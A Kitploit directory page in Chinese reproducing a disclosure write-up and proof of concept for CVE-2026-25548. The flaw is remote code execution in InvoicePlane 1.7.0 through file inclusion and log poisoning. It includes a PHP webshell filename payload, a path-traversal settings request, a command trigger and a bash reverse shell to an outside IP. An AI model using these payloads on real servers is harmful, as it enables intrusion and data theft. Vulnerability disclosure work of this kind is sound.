Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25548 — # CVE-2026-25548 技术分析与概念验证 针对 InvoicePlane 1.7.0 中一个严重远程代码执行(RCE)漏洞的详细技术分析与概念验证,该漏洞通过本地文件包含(LFI)与日志投毒实现,包括攻击链、PoC 请求及影响分析。 | Kitploit
工具/GitHubGitHub/lagathos/cve-2026-25548
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHublagathos/cve-2026-25548

CVE-2026-25548

# CVE-2026-25548 技术分析与概念验证 针对 InvoicePlane 1.7.0 中一个严重远程代码执行(RCE)漏洞的详细技术分析与概念验证,该漏洞通过本地文件包含(LFI)与日志投毒实现,包括攻击链、PoC 请求及影响分析。

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25548 — InvoicePlane 1.7.0 中的远程代码执行漏洞

漏洞类型: 通过本地文件包含(LFI)+ 日志投毒实现远程代码执行

产品: InvoicePlane

受影响版本: 1.7.0(以及可能更早的版本)

严重性: 严重

CVSS 3.1 评分: 9.1(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98、CWE-117、CWE-94

发现者: Leonidas Agathos

报告日期: 2026-01-31


目录

  • 描述
  • 漏洞详情
    • 1. 本地文件包含(LFI)
    • 2. 通过上传文件名进行日志投毒
  • 攻击链
  • 概念验证
    • 步骤 1 — 日志投毒
    • 步骤 2 — 配置 LFI
    • 步骤 3 — 触发 RCE
    • 步骤 4 — 反弹 Shell
  • 影响
  • 受影响组件
  • 时间线

描述

InvoicePlane 1.7.0 中存在一个严重的漏洞链,允许已认证的管理员在底层服务器上实现远程代码执行(RCE)。该攻击结合了两个弱点:

  1. 本地文件包含(LFI) — 公共发票模板设置接受任意文件路径且无任何验证,允许包含预期模板目录之外的文件。
  2. 日志投毒 — 包含路径遍历字符的上传文件名会被原样写入 CodeIgniter 的 .php 日志文件中,从而允许注入任意 PHP 代码。

当两者结合时,拥有管理员权限的攻击者可以以 Web 服务器用户的身份完全控制服务器。最终的 RCE 触发是无需认证的(公共发票 URL)。


漏洞详情

1. 本地文件包含(LFI)

属性值
文件application/modules/guest/controllers/View.php
行号85、191
参数public_invoice_template(数据库设置)
CWECWE-98:对 Include/Require 语句的文件名控制不当

漏洞代码(View.php:85):

root@kitploit:~
$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

漏洞代码(View.php:191):

root@kitploit:~
$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

public_invoice_template 和 public_quote_template 设置从数据库中检索,并直接拼接为文件路径传递给 CodeIgniter 的 load->view()(该函数最终解析为 PHP 的 include())。没有任何验证来:

  • 阻止目录遍历序列(../)
  • 白名单允许的模板名称
  • 确认文件存在于预期的模板目录中

管理员可以将此值设置为文件系统上的任意路径,仅受自动追加的 .php 扩展名限制。


2. 通过上传文件名进行日志投毒

属性值
文件application/modules/upload/controllers/Upload.php
行号178–184
参数上传文件名(HTTP multipart 表单数据)
CWECWE-117:日志输出中和不当

漏洞代码(Upload.php:178-184):

root@kitploit:~
private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

当文件名触发路径遍历检查时,原始、未经净化的文件名会被直接写入日志文件。CodeIgniter 日志文件:

  • 使用 .php 扩展名:application/logs/log-YYYY-MM-DD.php
  • 以 <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> 开头
  • 因此是有效的 PHP 文件,在被包含时会执行

攻击者在文件名中嵌入 <?php system($_GET[1]); ?> 会导致该载荷被写入日志,随后通过 LFI 被执行。


攻击链

root@kitploit:~
[已认证用户]  →  上传恶意文件名  →  PHP 被注入日志文件
[管理员]      →  设置模板设置    →  LFI 指向日志文件
[任何人]      →  访问公共发票 URL →  RCE
步骤要求
日志投毒具有上传权限的已认证用户
LFI 配置管理员账户
RCE 触发无需认证(公共发票 URL)

概念验证

步骤 1 — 日志投毒

发送一个文件上传请求,文件名中嵌入 PHP webshell。路径遍历检查将被触发,并将原始文件名(包括 PHP 载荷)写入日志文件。

请求(通过 Burp Suite):

root@kitploit:~
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

服务器会拒绝上传(upload_error_invalid_extension),但日志条目已被写入:

application/logs/log-2026-01-31.php 中的结果:

root@kitploit:~
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

导航到发票的附件部分,点击添加文件即可到达上传端点。

步骤 1a - 发票附件上传入口点

步骤 1b - 通过恶意文件名注入 PHP 载荷

步骤 1c - 显示已注入 PHP 载荷的日志文件


步骤 2 — 配置 LFI

作为管理员,使用路径遍历载荷将 public_invoice_template 设置指向当天的日志文件。CodeIgniter 的视图加载器会自动追加 .php。

请求(通过 Burp Suite):

root@kitploit:~
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

遍历路径从 application/views/invoice_templates/public/ 向上解析到 application/logs/,然后包含 log-2026-01-31.php。

步骤 2 - 通过 Burp Suite 将 public_invoice_template 设置为日志文件路径


步骤 3 — 触发 RCE

访问任意公共发票 URL,并通过 1 GET 参数传递命令。无需任何认证。

请求:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

响应(页面源码中):

root@kitploit:~
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

system($_GET[1]) 载荷执行了 id 命令,其输出被内联反映在页面中。

步骤 3 - 通过公共发票 URL 在 HTTP 响应中反映命令输出


步骤 4 — 反弹 Shell

将命令替换为 bash 反弹 shell 载荷以获得交互式 shell:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1

在攻击者机器上:

root@kitploit:~
nc -lnvp 4444

结果:

root@kitploit:~
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$

以 www-data 身份获得完整交互式 shell。

步骤 4 - 反弹 shell 建立成功,确认完全 RCE


影响

维度评级详情
机密性高可完全读取 Web 服务器用户可访问的所有文件,包括数据库凭据和客户发票数据
完整性高任意文件写入、数据库修改、Web shell 安装
可用性高拒绝服务、勒索软件部署、系统破坏

受影响组件

文件漏洞
application/modules/guest/controllers/View.php:85LFI — 发票模板
application/modules/guest/controllers/View.php:191LFI — 报价模板
application/modules/upload/controllers/Upload.php:182日志投毒
application/modules/settings/controllers/Settings.php模板设置无验证

时间线

日期事件
2026-01-30发现漏洞
2026-01-31开发概念验证
2026-01-31通知厂商
2026-02-03厂商确认
2026-02-03发布补丁
2026-02-04公开披露

参考

  • CWE-98:对 Include/Require 语句的文件名控制不当
  • CWE-117:日志输出中和不当
  • CWE-94:代码生成控制不当
  • OWASP:路径遍历
  • OWASP:日志注入
  • CVE-2026-25548

免责声明

该漏洞是在独立安全研究过程中发现的。所有信息仅用于教育、研究和防御目的,以帮助厂商和安全社区理解和修复该问题。严禁将本信息用于任何恶意用途。

下载工具